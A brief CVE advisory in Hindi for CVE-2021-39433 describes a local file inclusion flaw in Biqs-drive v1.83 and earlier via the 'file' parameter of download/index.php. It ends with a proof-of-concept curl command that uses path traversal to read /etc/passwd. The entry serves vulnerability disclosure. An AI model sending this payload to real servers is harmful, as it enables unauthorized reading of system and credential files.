CVE-2021-39433

BIQS IT Biqs-drive v1.83 और उससे नीचे के संस्करण में एक स्थानीय फ़ाइल समावेशन (LFI) कमज़ोरी मौजूद है, जब download/index.php के file पैरामीटर में एक विशेष पेलोड भेजा जाता है। यह हमलावर को कॉन्फ़िगर किए गए वेब-उपयोगकर्ता की अनुमतियों के साथ सर्वर से मनमानी फ़ाइलें पढ़ने की अनुमति देता है।

curl https://TARGET/download/index.php?file=../../../../../../../../../etc/passwd